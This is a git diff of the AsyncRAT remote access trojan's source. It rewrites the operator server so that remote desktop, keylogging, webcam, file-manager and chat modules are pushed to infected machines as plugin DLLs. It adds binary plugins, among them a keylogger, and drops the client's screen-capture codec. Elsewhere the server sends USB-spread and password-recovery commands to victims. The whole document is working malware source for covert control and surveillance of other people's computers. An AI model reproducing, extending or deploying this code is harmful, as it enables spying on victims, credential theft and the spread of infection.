w71UsHn8xPVYgUaaxbNTQMXiX/yyqI++is/Mz2CZ/9oAzByJsqV7/nSiPDIIu5VJ7wQZzOWmT5LFQP35/IqePhGxsJ+jhVAbSEWE72rGLVwYLIgPFY82MmzInCPjFcetfNdPKXnEAfoeDZYkbRKdQfURDVhzfgQvhgSP0IIIDwUXk3YuJQaZ23lpHR4iELA5bGHSLDH/8Yv3LeDomPzEXPknAg5KneBbN7nZKvnVZWTmuHLiPjfIjgLex84aQ3vS7LfFPRSruKe8IrRrx6FVPqECdVbREiatWEoNIrBl7D1OF2HFAdbyeYtEjUWguNxeA432Ikd2SxUwiOzUFTeiYhOPjmiOAxp/SzQjDo9IpVQp0MSgEPJYe1VruYi6Z7l68N8uPWgepJCLuKxmfoLfZoBPw6VaWSIjna76aFRqvawSGPMtF20WptQOXg6d+WxWDoUP6jPBwCNZ2dmryc2v0xdD//H8f3pnLLxTNjANC6nzp1B2MBDAHmXcGu+nASSiXQL0Xupy1+nkMjywIs40eXPfaXxg0fV0Zxg+/egtEWnVjOLimGYmcjLC/m51YActKFSImSpqlV8bKQBBumlr0ik3v2WC3geAIIj7BkBTaFKdVUL191WtngNBydQ62A58Uq5h6dpZCn+m6ywLg0qnhW3OgXILzKutdOOvpFcsQUWA84hSayKgacgygLszFooJ/Ls+WagZgPwlboXNCjhqCML5dNK6kdmFx9n+/zVZPZ+xGl9ow/45NX6JSsLOTdrwRvXm/SjAQ64An/0D0EjHO5NDDH0gjxlkUYrIr3Gt+PBhOsZWE97r1Cyl0v64nng+ku7NY0PAcLKEDnjcTTmN77TM3y1ojQLQxV8aPrBHg2WJ2yR/JocGCol8ztN3i/oNbb3vJDSJPsYoIxNswYX/OQAlGpEZmKsbujke7WD8SsfB4eDRIZ6oHEJphzHmVSf09lCJcBqRiptzbdZUlaYOVZgNAy5SZLkAkiZyLgdlUQSftAb6SadPY59pGkfXSMDcwHzAHBgUrDgMCGgQU/uGrOJgcbEzkykKZSaZFZLes3CIEFCMLzKDRACtkBrdOt1W72gjBqHGv"; public static string Serversignature = "%Serversignature%"; - public static X509Certificate2 ServerCertificate; + public static X509Certificate2 ServerCertificate = new X509Certificate2(Convert.FromBase64String(Certificate)); public static string Anti = "false"; public static Aes256 aes256 = new Aes256(Key); public static string Pastebin = "null"; diff --git a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs b/AsyncRAT-C#/Client/StreamLibrary/Enums.cs deleted file mode 100644 index 83e58e3..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs +++ /dev/null @@ -1,20 +0,0 @@ -namespace Client.StreamLibrary -{ - public enum CodecOption - { - /// - /// The Previous and next image size must be equal - /// - RequireSameSize, - /// - /// If the codec is having a stream buffer - /// - HasBuffers, - /// - /// The image will be disposed by the codec and shall not be disposed by the user - /// - AutoDispose, - /// No codec options were used - None - }; -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs deleted file mode 100644 index bd8775e..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs +++ /dev/null @@ -1,44 +0,0 @@ -using Client.StreamLibrary.src; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; - -namespace Client.StreamLibrary -{ - public abstract class IUnsafeCodec - { - protected JpgCompression jpgCompression; - protected LzwCompression lzwCompression; - public abstract ulong CachedSize { get; internal set; } - protected object ImageProcessLock { get; private set; } - - private int _imageQuality; - public int ImageQuality - { - get { return _imageQuality; } - set - { - _imageQuality = value; - jpgCompression = new JpgCompression(value); - lzwCompression = new LzwCompression(value); - } - } - - - public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public IUnsafeCodec(int ImageQuality = 100) - { - this.ImageQuality = ImageQuality; - this.ImageProcessLock = new object(); - } - - public abstract int BufferCount { get; } - public abstract CodecOption CodecOptions { get; } - public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream); - public abstract unsafe Bitmap DecodeData(Stream inStream); - public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length); - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs deleted file mode 100644 index 79fc22f..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs +++ /dev/null @@ -1,35 +0,0 @@ -using Client.StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace Client.StreamLibrary -{ - public abstract class IVideoCodec - { - public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges); - public delegate void VideoDecodeProgress(Bitmap bitmap); - public delegate void VideoDebugScanningDelegate(Rectangle ScanArea); - - public abstract event VideoCodeProgress onVideoStreamCoding; - public abstract event VideoDecodeProgress onVideoStreamDecoding; - public abstract event VideoDebugScanningDelegate onCodeDebugScan; - public abstract event VideoDebugScanningDelegate onDecodeDebugScan; - protected JpgCompression jpgCompression; - public abstract ulong CachedSize { get; internal set; } - public int ImageQuality { get; set; } - - public IVideoCodec(int ImageQuality = 100) - { - this.jpgCompression = new JpgCompression(ImageQuality); - this.ImageQuality = ImageQuality; - } - - public abstract int BufferCount { get; } - public abstract CodecOption CodecOptions { get; } - public abstract void CodeImage(Bitmap bitmap, Stream outStream); - public abstract Bitmap DecodeData(Stream inStream); - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs deleted file mode 100644 index 62e704e..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs +++ /dev/null @@ -1,338 +0,0 @@ -using Client.StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace Client.StreamLibrary.UnsafeCodecs -{ - public class UnsafeStreamCodec : IUnsafeCodec - { - public override ulong CachedSize - { - get; - internal set; - } - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize; } - } - - public Size CheckBlock { get; private set; } - private byte[] EncodeBuffer; - private Bitmap decodedBitmap; - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - bool UseJPEG; - - /// - /// Initialize a new object of UnsafeStreamCodec - /// - /// The quality to use between 0-100 - public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true) - : base(ImageQuality) - { - this.CheckBlock = new Size(50, 1); - this.UseJPEG = UseJPEG; - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - lock (ImageProcessLock) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - if (this.EncodedFormat != Format) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - - List Blocks = new List(); - int index = 0; - - Size s = new Size(ScanArea.Width, CheckBlock.Height); - Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); - - int lasty = ScanArea.Height - lastSize.Height; - int lastx = ScanArea.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - List finalUpdates = new List(); - - s = new Size(ScanArea.Width, s.Height); - fixed (byte* encBuffer = EncodeBuffer) - { - for (int y = ScanArea.Y; y != ScanArea.Height; ) - { - if (y == lasty) - s = new Size(ScanArea.Width, lastSize.Height); - cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - int offset = (y * Stride) + (ScanArea.X * PixelSize); - if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) - { - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - x = ScanArea.X; - while (x != ScanArea.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - - cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); - bool FoundChanges = false; - int blockStride = PixelSize * cBlock.Width; - - for (int j = 0; j < cBlock.Height; j++) - { - int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X); - if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0) - FoundChanges = true; - NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - } - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if(FoundChanges) - { - index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - x += s.Width; - } - } - } - - /*int maxHeight = 0; - int maxWidth = 0; - - for (int i = 0; i < finalUpdates.Count; i++) - { - if (finalUpdates[i].Height > maxHeight) - maxHeight = finalUpdates[i].Height; - maxWidth += finalUpdates[i].Width; - } - - Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1); - int XOffset = 0;*/ - - for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - /*using (Graphics g = Graphics.FromImage(bmp)) - { - g.DrawImage(TmpBmp, new Point(XOffset, 0)); - } - XOffset += TmpBmp.Width;*/ - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Length; - long OldPos = outStream.Position; - - if (UseJPEG) - { - base.jpgCompression.Compress(TmpBmp, ref outStream); - } - else - { - base.lzwCompression.Compress(TmpBmp, outStream); - } - - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - - /*if (finalUpdates.Count > 0) - { - byte[] lele = base.jpgCompression.Compress(bmp); - byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1); - bool Won = lele.Length < outStream.Length; - bool CompressWon = compressed.Length < outStream.Length; - Console.WriteLine(Won + ", " + CompressWon); - } - bmp.Dispose();*/ - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - Blocks.Clear(); - finalUpdates.Clear(); - } - } - - public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - return decodedBitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - using (Graphics g = Graphics.FromImage(decodedBitmap)) - { - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - tempData = null; - - byte[] buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - using (MemoryStream m = new MemoryStream(buffer)) - using (Bitmap tmp = (Bitmap)Image.FromStream(m)) - { - g.DrawImage(tmp, rect.Location); - } - buffer = null; - DataSize -= UpdateLen + (4 * 5); - } - } - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs deleted file mode 100644 index 0f911b5..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; - -namespace Client.StreamLibrary.src -{ - public class JpgCompression - { - private EncoderParameter parameter; - private ImageCodecInfo encoderInfo; - private EncoderParameters encoderParams; - - public JpgCompression(int Quality) - { - this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality); - this.encoderInfo = GetEncoderInfo("image/jpeg"); - this.encoderParams = new EncoderParameters(2); - this.encoderParams.Param[0] = parameter; - this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2); - } - - public byte[] Compress(Bitmap bmp) - { - using (MemoryStream stream = new MemoryStream()) - { - bmp.Save(stream, encoderInfo, encoderParams); - return stream.ToArray(); - } - } - public void Compress(Bitmap bmp, ref Stream TargetStream) - { - bmp.Save(TargetStream, encoderInfo, encoderParams); - } - - private ImageCodecInfo GetEncoderInfo(string mimeType) - { - ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); - int num2 = imageEncoders.Length - 1; - for (int i = 0; i <= num2; i++) - { - if (imageEncoders[i].MimeType == mimeType) - { - return imageEncoders[i]; - } - } - return null; - } - } -} diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs deleted file mode 100644 index 2654908..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; - -namespace Client.StreamLibrary.src -{ - public class LzwCompression - { - private EncoderParameter parameter; - private ImageCodecInfo encoderInfo; - private EncoderParameters encoderParams; - - public LzwCompression(int Quality) - { - this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality); - this.encoderInfo = GetEncoderInfo("image/jpeg"); - this.encoderParams = new EncoderParameters(2); - this.encoderParams.Param[0] = parameter; - this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW); - } - - public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null) - { - using (MemoryStream stream = new MemoryStream()) - { - if (AdditionInfo != null) - stream.Write(AdditionInfo, 0, AdditionInfo.Length); - bmp.Save(stream, encoderInfo, encoderParams); - return stream.ToArray(); - } - } - public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null) - { - if (AdditionInfo != null) - stream.Write(AdditionInfo, 0, AdditionInfo.Length); - bmp.Save(stream, encoderInfo, encoderParams); - } - - private ImageCodecInfo GetEncoderInfo(string mimeType) - { - ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); - for (int i = 0; i < imageEncoders.Length; i++) - { - if (imageEncoders[i].MimeType == mimeType) - { - return imageEncoders[i]; - } - } - return null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs deleted file mode 100644 index f8dbe91..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace Client.StreamLibrary.src -{ - public class NativeMethods - { - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern int memcpy(IntPtr dst, IntPtr src, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe int memcpy(void* dst, void* src, uint count); - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger.dll b/AsyncRAT-C#/Plugin/LimeLogger.dll new file mode 100644 index 0000000..cc17afb Binary files /dev/null and b/AsyncRAT-C#/Plugin/LimeLogger.dll differ diff --git a/AsyncRAT-C#/Plugin/PluginBase.zip b/AsyncRAT-C#/Plugin/PluginBase.zip new file mode 100644 index 0000000..304417c Binary files /dev/null and b/AsyncRAT-C#/Plugin/PluginBase.zip differ diff --git a/AsyncRAT-C#/Plugin/PluginCam.dll b/AsyncRAT-C#/Plugin/PluginCam.dll new file mode 100644 index 0000000..a0fbf75 Binary files /dev/null and b/AsyncRAT-C#/Plugin/PluginCam.dll differ diff --git a/AsyncRAT-C#/Plugin/PluginChat.dll b/AsyncRAT-C#/Plugin/PluginChat.dll new file mode 100644 index 0000000..d347f4a Binary files /dev/null and b/AsyncRAT-C#/Plugin/PluginChat.dll differ diff --git a/AsyncRAT-C#/Plugin/PluginDesktop.dll b/AsyncRAT-C#/Plugin/PluginDesktop.dll new file mode 100644 index 0000000..2c960d8 Binary files /dev/null and b/AsyncRAT-C#/Plugin/PluginDesktop.dll differ diff --git a/AsyncRAT-C#/Plugin/PluginFileManager.dll b/AsyncRAT-C#/Plugin/PluginFileManager.dll new file mode 100644 index 0000000..ee027a0 Binary files /dev/null and b/AsyncRAT-C#/Plugin/PluginFileManager.dll differ diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs index 91b8819..ebc8eb9 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -16,6 +16,7 @@ using Server.Handle_Packet; using Server.Helper; using System.Security.Cryptography.X509Certificates; using System.Collections.Generic; +using System.Text; /* │ Author : NYAN CAT @@ -617,20 +618,19 @@ namespace Server private void RemoteDesktopToolStripMenuItem1_Click(object sender, EventArgs e) { - if (listView1.SelectedItems.Count > 0) + if (listView1.SelectedItems.Count > 0) { try { - //DLL Plugin - //msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - //msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginDesktop); MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "capture"; - msgpack.ForcePathObject("Quality").AsInteger = 30; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Command").AsString = "invoke"; + msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginDesktop.dll")); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; + msgpack.ForcePathObject("Host").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[0]; + msgpack.ForcePathObject("Port").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[1]; this.BeginInvoke((MethodInvoker)(() => { FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID]; @@ -650,7 +650,11 @@ namespace Server })); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } } } @@ -661,8 +665,9 @@ namespace Server if (listView1.SelectedItems.Count > 0) { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("isON").AsString = "true"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Command").AsString = "invoke"; + msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "LimeLogger.dll")); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; @@ -675,8 +680,7 @@ namespace Server { Name = "keyLogger:" + client.ID, Text = "keyLogger:" + client.ID, - F = this, - Client = client + F = this }; KL.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -707,7 +711,7 @@ namespace Server Name = "chat:" + client.ID, Text = "chat:" + client.ID, F = this, - Client = client + ParentClient = client }; shell.Show(); } @@ -725,8 +729,9 @@ namespace Server if (listView1.SelectedItems.Count > 0) { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "getDrivers"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Command").AsString = "invoke"; + msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginFileManager.dll")); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; @@ -740,8 +745,8 @@ namespace Server Name = "fileManager:" + client.ID, Text = "fileManager:" + client.ID, F = this, - Client = client, - FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop") + ParentClient = client, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "FileManager") }; fileManager.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -750,7 +755,11 @@ namespace Server } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } } private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e) @@ -771,7 +780,11 @@ namespace Server new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black); tabControl1.SelectedIndex = 1; } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } } } @@ -836,7 +849,7 @@ namespace Server try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "usbSpread"; + msgpack.ForcePathObject("Packet").AsString = "usb"; msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread); foreach (ListViewItem itm in listView1.SelectedItems) { @@ -846,7 +859,11 @@ namespace Server new HandleLogs().Addmsg("Sending USB Spread..", Color.Black); tabControl1.SelectedIndex = 1; } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } } } @@ -1259,8 +1276,9 @@ namespace Server try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "webcam"; - msgpack.ForcePathObject("Command").AsString = "getWebcams"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Command").AsString = "invoke"; + msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginCam.dll")); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; @@ -1283,7 +1301,11 @@ namespace Server })); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } } } } diff --git a/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs index 47dfb20..fd7f708 100644 --- a/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs @@ -42,6 +42,7 @@ | System.Windows.Forms.AnchorStyles.Right))); this.richTextBox1.BackColor = System.Drawing.SystemColors.Window; this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.richTextBox1.Enabled = false; this.richTextBox1.Location = new System.Drawing.Point(12, 12); this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.ReadOnly = true; @@ -52,6 +53,7 @@ // textBox1 // this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom; + this.textBox1.Enabled = false; this.textBox1.Location = new System.Drawing.Point(0, 384); this.textBox1.Name = "textBox1"; this.textBox1.Size = new System.Drawing.Size(757, 26); @@ -60,7 +62,6 @@ // // timer1 // - this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // @@ -83,8 +84,8 @@ } #endregion - private System.Windows.Forms.TextBox textBox1; public System.Windows.Forms.RichTextBox richTextBox1; - private System.Windows.Forms.Timer timer1; + public System.Windows.Forms.Timer timer1; + public System.Windows.Forms.TextBox textBox1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormChat.cs b/AsyncRAT-C#/Server/Forms/FormChat.cs index e6187fe..d6aeddd 100644 --- a/AsyncRAT-C#/Server/Forms/FormChat.cs +++ b/AsyncRAT-C#/Server/Forms/FormChat.cs @@ -11,13 +11,17 @@ using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Threading; +using Server.Helper; +using System.IO; namespace Server.Forms { public partial class FormChat : Form { public Form1 F { get; set; } - internal Clients Client { get; set; } + public Clients Client { get; set; } + public Clients ParentClient { get; set; } + private string Nickname = "Admin"; public FormChat() { @@ -28,34 +32,46 @@ namespace Server.Forms { if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text)) { - richTextBox1.AppendText("ME: " + textBox1.Text + Environment.NewLine); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatWriteInput"; - msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); - textBox1.Clear(); + try + { + richTextBox1.AppendText("ME: " + textBox1.Text + Environment.NewLine); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chatWriteInput"; + msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + textBox1.Clear(); + } + catch { } } } private void FormChat_Load(object sender, EventArgs e) { - string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin"); - if (string.IsNullOrEmpty(nick)) - this.Close(); - else + try { - Nickname = nick; - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chat"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin"); + if (string.IsNullOrEmpty(nick)) + this.Close(); + else + { + Nickname = nick; + MsgPack msgpack = new MsgPack(); 